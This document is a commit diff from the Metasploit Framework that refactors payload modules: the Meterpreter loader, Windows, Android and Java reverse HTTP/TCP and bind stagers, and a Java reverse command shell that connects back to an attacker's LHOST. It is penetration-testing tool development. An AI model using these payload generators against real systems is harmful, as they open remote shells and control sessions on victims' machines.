require 'msf/core/reflective_dll_loader'
|
||||||
|
require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
|
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
|
||||||
|
@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
def stage_meterpreter(stageless=false)
|
def stage_payload(opts={})
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_config(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
|
|
||||||
|
# create the configuration block, which for staged connections is really simple.
|
||||||
|
config_opts = {
|
||||||
|
arch: opts[:uuid].arch,
|
||||||
|
exitfunk: ds['EXITFUNC'],
|
||||||
|
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||||
|
uuid: opts[:uuid],
|
||||||
|
transports: opts[:transport_config] || [transport_config(opts)],
|
||||||
|
extensions: []
|
||||||
|
}
|
||||||
|
|
||||||
|
# create the configuration instance based off the parameters
|
||||||
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||||
|
|
||||||
|
# return the binary version of it
|
||||||
|
config.to_b
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_meterpreter(opts={})
|
||||||
# Exceptions will be thrown by the mixin if there are issues.
|
# Exceptions will be thrown by the mixin if there are issues.
|
||||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||||
|
|
||||||
asm_opts = {
|
asm_opts = {
|
||||||
rdi_offset: offset,
|
rdi_offset: offset,
|
||||||
length: dll.length,
|
length: dll.length,
|
||||||
stageless: stageless
|
stageless: opts[:stageless] == true
|
||||||
}
|
}
|
||||||
|
|
||||||
asm = asm_invoke_metsrv(asm_opts)
|
asm = asm_invoke_metsrv(asm_opts)
|
||||||
|
|
|
@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate(opts={})
|
def generate(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
|
||||||
conf = {
|
conf = {
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: datastore['LHOST'],
|
host: ds['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: ds['LPORT'],
|
||||||
retry_count: datastore['StagerRetryCount']
|
retry_count: ds['StagerRetryCount']
|
||||||
}
|
}
|
||||||
|
|
||||||
# add extended options if we do have enough space
|
# add extended options if we do have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:url] = luri + generate_uri
|
conf[:url] = luri + generate_uri(opts)
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
conf[:ua] = ds['MeterpreterUserAgent']
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
conf[:proxy_type] = ds['PayloadProxyType']
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:url] = luri + generate_small_uri
|
conf[:url] = luri + generate_small_uri
|
||||||
|
@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
#
|
#
|
||||||
# Generate the URI for the initial stager
|
# Generate the URI for the initial stager
|
||||||
#
|
#
|
||||||
def generate_uri
|
def generate_uri(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
uri_req_len = datastore['StagerURILength'].to_i
|
uri_req_len = ds['StagerURILength'].to_i
|
||||||
|
|
||||||
# Choose a random URI length between 30 and 255 bytes
|
# Choose a random URI length between 30 and 255 bytes
|
||||||
if uri_req_len == 0
|
if uri_req_len == 0
|
||||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if uri_req_len < 5
|
if uri_req_len < 5
|
||||||
|
|
|
@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64
|
||||||
#
|
#
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate
|
def generate(opts={})
|
||||||
super(ssl: true)
|
opts[:ssl] = true
|
||||||
|
super(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -29,7 +29,8 @@ class PayloadCachedSize
|
||||||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||||
'RC4PASSWORD' => 'Metasploit',
|
'RC4PASSWORD' => 'Metasploit',
|
||||||
'DNSZONE' => 'corelan.eu',
|
'DNSZONE' => 'corelan.eu',
|
||||||
'PEXEC' => '/bin/sh'
|
'PEXEC' => '/bin/sh',
|
||||||
|
'StagerURILength' => 5
|
||||||
},
|
},
|
||||||
'Encoder' => nil,
|
'Encoder' => nil,
|
||||||
'DisableNops' => true
|
'DisableNops' => true
|
||||||
|
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'BadChars' => '',
|
'BadChars' => '',
|
||||||
'DisableNops' => true,
|
'DisableNops' => true,
|
||||||
},
|
},
|
||||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
|
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
|
||||||
'Arch' => ARCH_ALL,
|
'Arch' => ARCH_ALL,
|
||||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
|
|
|
@ -35,9 +35,6 @@ module MetasploitModule
|
||||||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||||
'Payload' => '',
|
'Payload' => '',
|
||||||
))
|
))
|
||||||
register_options([
|
|
||||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -30,9 +30,6 @@ module MetasploitModule
|
||||||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||||
'Payload' => '',
|
'Payload' => '',
|
||||||
))
|
))
|
||||||
register_options([
|
|
||||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -16,37 +16,24 @@ module MetasploitModule
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
include Msf::Sessions::CommandShellOptions
|
include Msf::Sessions::CommandShellOptions
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info={})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
||||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||||
'Author' => [
|
'Author' => ['mihi', 'egypt'],
|
||||||
'mihi', # all the hard work
|
'License' => MSF_LICENSE,
|
||||||
'egypt' # msf integration
|
'Platform' => ['java'],
|
||||||
],
|
'Arch' => ARCH_JAVA,
|
||||||
'License' => MSF_LICENSE,
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
'Platform' => [ 'java' ],
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
'Arch' => ARCH_JAVA,
|
'Payload' => {'Offsets' => {}, 'Payload' => ''}
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
|
||||||
'Session' => Msf::Sessions::CommandShell,
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Offsets' => { },
|
|
||||||
'Payload' => ''
|
|
||||||
}
|
|
||||||
))
|
))
|
||||||
@class_files = [
|
|
||||||
[ "metasploit", "Payload.class" ],
|
|
||||||
[ "javapayload", "stage", "Stage.class" ],
|
|
||||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
|
||||||
[ "javapayload", "stage", "Shell.class" ],
|
|
||||||
]
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_jar(opts={})
|
def generate_jar(opts={})
|
||||||
jar = Rex::Zip::Jar.new
|
jar = Rex::Zip::Jar.new
|
||||||
jar.add_sub("metasploit") if opts[:random]
|
jar.add_sub("metasploit") if opts[:random]
|
||||||
@class_files.each do |path|
|
class_files.each do |path|
|
||||||
1.upto(path.length - 1) do |idx|
|
1.upto(path.length - 1) do |idx|
|
||||||
full = path[0,idx].join("/") + "/"
|
full = path[0,idx].join("/") + "/"
|
||||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||||
|
@ -57,15 +44,16 @@ module MetasploitModule
|
||||||
jar.add_file(path.join("/"), data)
|
jar.add_file(path.join("/"), data)
|
||||||
end
|
end
|
||||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||||
jar.add_file("metasploit.dat", config)
|
jar.add_file("metasploit.dat", stager_config(opts))
|
||||||
|
|
||||||
jar
|
jar
|
||||||
end
|
end
|
||||||
|
|
||||||
def config
|
def stager_config(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
c = ""
|
c = ""
|
||||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||||
# Magical, means use stdin/stdout. Used for debugging
|
# Magical, means use stdin/stdout. Used for debugging
|
||||||
#c << "LPORT=0\n"
|
#c << "LPORT=0\n"
|
||||||
c << "EmbeddedStage=Shell\n"
|
c << "EmbeddedStage=Shell\n"
|
||||||
|
@ -73,4 +61,12 @@ module MetasploitModule
|
||||||
c
|
c
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def class_files
|
||||||
|
[
|
||||||
|
['metasploit', 'Payload.class'],
|
||||||
|
['javapayload', 'stage', 'Stage.class'],
|
||||||
|
['javapayload', 'stage', 'StreamForwarder.class'],
|
||||||
|
['javapayload', 'stage', 'Shell.class'],
|
||||||
|
]
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -35,7 +35,7 @@ module MetasploitModule
|
||||||
def generate_reverse_http(opts={})
|
def generate_reverse_http(opts={})
|
||||||
opts[:uri_uuid_mode] = :init_connect
|
opts[:uri_uuid_mode] = :init_connect
|
||||||
met = stage_meterpreter({
|
met = stage_meterpreter({
|
||||||
http_url: generate_callback_url(opts),
|
url: generate_callback_url(opts),
|
||||||
http_user_agent: opts[:user_agent],
|
http_user_agent: opts[:user_agent],
|
||||||
http_proxy_host: opts[:proxy_host],
|
http_proxy_host: opts[:proxy_host],
|
||||||
http_proxy_port: opts[:proxy_port]
|
http_proxy_port: opts[:proxy_port]
|
||||||
|
|
|
@ -36,7 +36,7 @@ module MetasploitModule
|
||||||
opts[:scheme] = 'https'
|
opts[:scheme] = 'https'
|
||||||
opts[:uri_uuid_mode] = :init_connect
|
opts[:uri_uuid_mode] = :init_connect
|
||||||
met = stage_meterpreter({
|
met = stage_meterpreter({
|
||||||
http_url: generate_callback_url(opts),
|
url: generate_callback_url(opts),
|
||||||
http_user_agent: opts[:user_agent],
|
http_user_agent: opts[:user_agent],
|
||||||
http_proxy_host: opts[:proxy_host],
|
http_proxy_host: opts[:proxy_host],
|
||||||
http_proxy_port: opts[:proxy_port]
|
http_proxy_port: opts[:proxy_port]
|
||||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
opts[:stageless] = true
|
|
||||||
|
|
||||||
# create the configuration block
|
# create the configuration block
|
||||||
config_opts = {
|
config_opts = {
|
||||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
opts[:stageless] = true
|
|
||||||
|
|
||||||
# create the configuration block
|
# create the configuration block
|
||||||
config_opts = {
|
config_opts = {
|
||||||
|
|
|
@ -41,8 +41,9 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
opts[:stageless] = true
|
|
||||||
|
|
||||||
# create the configuration block
|
# create the configuration block
|
||||||
config_opts = {
|
config_opts = {
|
||||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
opts[:stageless] = true
|
|
||||||
|
|
||||||
# create the configuration block
|
# create the configuration block
|
||||||
config_opts = {
|
config_opts = {
|
||||||
|
|
|
@ -41,8 +41,9 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate
|
def generate(opts={})
|
||||||
stage_meterpreter(true) + generate_config
|
opts[:stageless] = true
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_config(opts={})
|
def generate_config(opts={})
|
||||||
|
|
|
@ -5,6 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_http'
|
require 'msf/core/handler/reverse_http'
|
||||||
|
require 'msf/core/payload/android/reverse_http'
|
||||||
require 'msf/core/payload/uuid/options'
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
@ -13,7 +14,7 @@ module MetasploitModule
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Android
|
include Msf::Payload::Android
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::Android::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -24,21 +25,8 @@ module MetasploitModule
|
||||||
'Platform' => 'android',
|
'Platform' => 'android',
|
||||||
'Arch' => ARCH_DALVIK,
|
'Arch' => ARCH_DALVIK,
|
||||||
'Handler' => Msf::Handler::ReverseHttp,
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
|
'Convention' => 'javaurl',
|
||||||
'Stager' => {'Payload' => ''}
|
'Stager' => {'Payload' => ''}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Generate the transport-specific configuration
|
|
||||||
#
|
|
||||||
def transport_config(opts={})
|
|
||||||
transport_config_reverse_http(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config_bytes(opts={})
|
|
||||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
|
||||||
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
|
|
||||||
super(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,6 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_https'
|
require 'msf/core/handler/reverse_https'
|
||||||
|
require 'msf/core/payload/android/reverse_https'
|
||||||
require 'msf/core/payload/uuid/options'
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
@ -13,7 +14,7 @@ module MetasploitModule
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Android
|
include Msf::Payload::Android
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::Android::ReverseHttps
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
|
@ -24,21 +25,8 @@ module MetasploitModule
|
||||||
'Platform' => 'android',
|
'Platform' => 'android',
|
||||||
'Arch' => ARCH_DALVIK,
|
'Arch' => ARCH_DALVIK,
|
||||||
'Handler' => Msf::Handler::ReverseHttps,
|
'Handler' => Msf::Handler::ReverseHttps,
|
||||||
|
'Convention' => 'javaurl',
|
||||||
'Stager' => {'Payload' => ''}
|
'Stager' => {'Payload' => ''}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Generate the transport-specific configuration
|
|
||||||
#
|
|
||||||
def transport_config(opts={})
|
|
||||||
transport_config_reverse_https(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_config_bytes(opts={})
|
|
||||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
|
||||||
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
|
|
||||||
super(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -3,40 +3,29 @@
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'metasploit-payloads'
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_tcp'
|
require 'msf/core/handler/reverse_tcp'
|
||||||
require 'msf/core/payload/transport_config'
|
require 'msf/core/payload/android/reverse_tcp'
|
||||||
require 'msf/base/sessions/command_shell'
|
|
||||||
require 'msf/base/sessions/command_shell_options'
|
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = :dynamic
|
CachedSize = :dynamic
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::TransportConfig
|
|
||||||
include Msf::Payload::Android
|
include Msf::Payload::Android
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::Android::ReverseTcp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Android Reverse TCP Stager',
|
'Name' => 'Android Reverse TCP Stager',
|
||||||
'Description' => 'Connect back stager',
|
'Description' => 'Connect back stager',
|
||||||
'Author' => ['timwr', 'OJ Reeves'],
|
'Author' => ['mihi', 'egypt'],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => 'android',
|
'Platform' => 'android',
|
||||||
'Arch' => ARCH_DALVIK,
|
'Arch' => ARCH_DALVIK,
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
'Stager' => {'Payload' => ''}
|
'Convention' => 'javasocket',
|
||||||
))
|
'Stager' => {'Payload' => ''}
|
||||||
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Generate the transport-specific configuration
|
|
||||||
#
|
|
||||||
def transport_config(opts={})
|
|
||||||
transport_config_reverse_tcp(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,58 +5,27 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/bind_tcp'
|
require 'msf/core/handler/bind_tcp'
|
||||||
require 'msf/base/sessions/command_shell'
|
require 'msf/core/payload/java/bind_tcp'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 5105
|
CachedSize = 5118
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::Java::BindTcp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info={})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Java Bind TCP Stager',
|
'Name' => 'Java Bind TCP Stager',
|
||||||
'Description' => 'Listen for a connection',
|
'Description' => 'Listen for a connection',
|
||||||
'Author' => [
|
'Author' => ['mihi', 'egypt'],
|
||||||
'mihi', # all the hard work
|
'License' => MSF_LICENSE,
|
||||||
'egypt', # msf integration
|
'Platform' => 'java',
|
||||||
],
|
'Arch' => ARCH_JAVA,
|
||||||
'License' => MSF_LICENSE,
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
'Platform' => 'java',
|
'Convention' => 'javasocket',
|
||||||
'Arch' => ARCH_JAVA,
|
'Stager' => {'Payload' => ''}
|
||||||
'Handler' => Msf::Handler::BindTcp,
|
))
|
||||||
'Convention' => 'javasocket',
|
|
||||||
'Stager' => {'Payload' => ""}
|
|
||||||
))
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
|
||||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
|
||||||
], self.class
|
|
||||||
)
|
|
||||||
|
|
||||||
@class_files = [ ]
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def config
|
|
||||||
spawn = datastore["Spawn"] || 2
|
|
||||||
c = ""
|
|
||||||
c << "Spawn=#{spawn}\n"
|
|
||||||
pass = datastore["AESPassword"] || ""
|
|
||||||
if pass != ""
|
|
||||||
c << "AESPassword=#{pass}\n"
|
|
||||||
@class_files = [
|
|
||||||
[ "metasploit", "AESEncryption.class" ],
|
|
||||||
]
|
|
||||||
else
|
|
||||||
@class_files = [ ]
|
|
||||||
end
|
|
||||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
|
||||||
|
|
||||||
c
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,6 +5,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/handler/reverse_http'
|
require 'msf/core/handler/reverse_http'
|
||||||
|
require 'msf/core/payload/java/reverse_http'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
|
@ -12,58 +13,19 @@ module MetasploitModule
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::Java::ReverseHttp
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info={})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Java Reverse HTTP Stager',
|
'Name' => 'Java Reverse HTTP Stager',
|
||||||
'Description' => 'Tunnel communication over HTTP',
|
'Description' => 'Tunnel communication over HTTP',
|
||||||
'Author' => [
|
'Author' => ['mihi', 'egypt', 'hdm'],
|
||||||
'mihi', # all the hard work
|
'License' => MSF_LICENSE,
|
||||||
'egypt', # msf integration
|
'Platform' => 'java',
|
||||||
'hdm', # windows/reverse_http
|
'Arch' => ARCH_JAVA,
|
||||||
],
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
'License' => MSF_LICENSE,
|
'Convention' => 'javaurl',
|
||||||
'Platform' => 'java',
|
'Stager' => {'Payload' => ''}
|
||||||
'Arch' => ARCH_JAVA,
|
))
|
||||||
'Handler' => Msf::Handler::ReverseHttp,
|
|
||||||
'Convention' => 'javaurl',
|
|
||||||
'Stager' => {'Payload' => ""}
|
|
||||||
))
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
|
||||||
], self.class
|
|
||||||
)
|
|
||||||
|
|
||||||
@class_files = [ ]
|
|
||||||
end
|
|
||||||
|
|
||||||
def config
|
|
||||||
# Default URL length is 30-256 bytes
|
|
||||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't know available space
|
|
||||||
if self.available_space.nil?
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
spawn = datastore["Spawn"] || 2
|
|
||||||
c = ""
|
|
||||||
c << "Spawn=#{spawn}\n"
|
|
||||||
c << "URL=http://#{datastore["LHOST"]}"
|
|
||||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
|
||||||
c << "#{luri}"
|
|
||||||
c << generate_uri_uuid_mode(:init_java, uri_req_len)
|
|
||||||
c << "\n"
|
|
||||||
|
|
||||||
c
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
|
||||||
#
|
|
||||||
def wfs_delay
|
|
||||||
20
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,6 +6,7 @@
|
||||||
require 'msf/core'
|
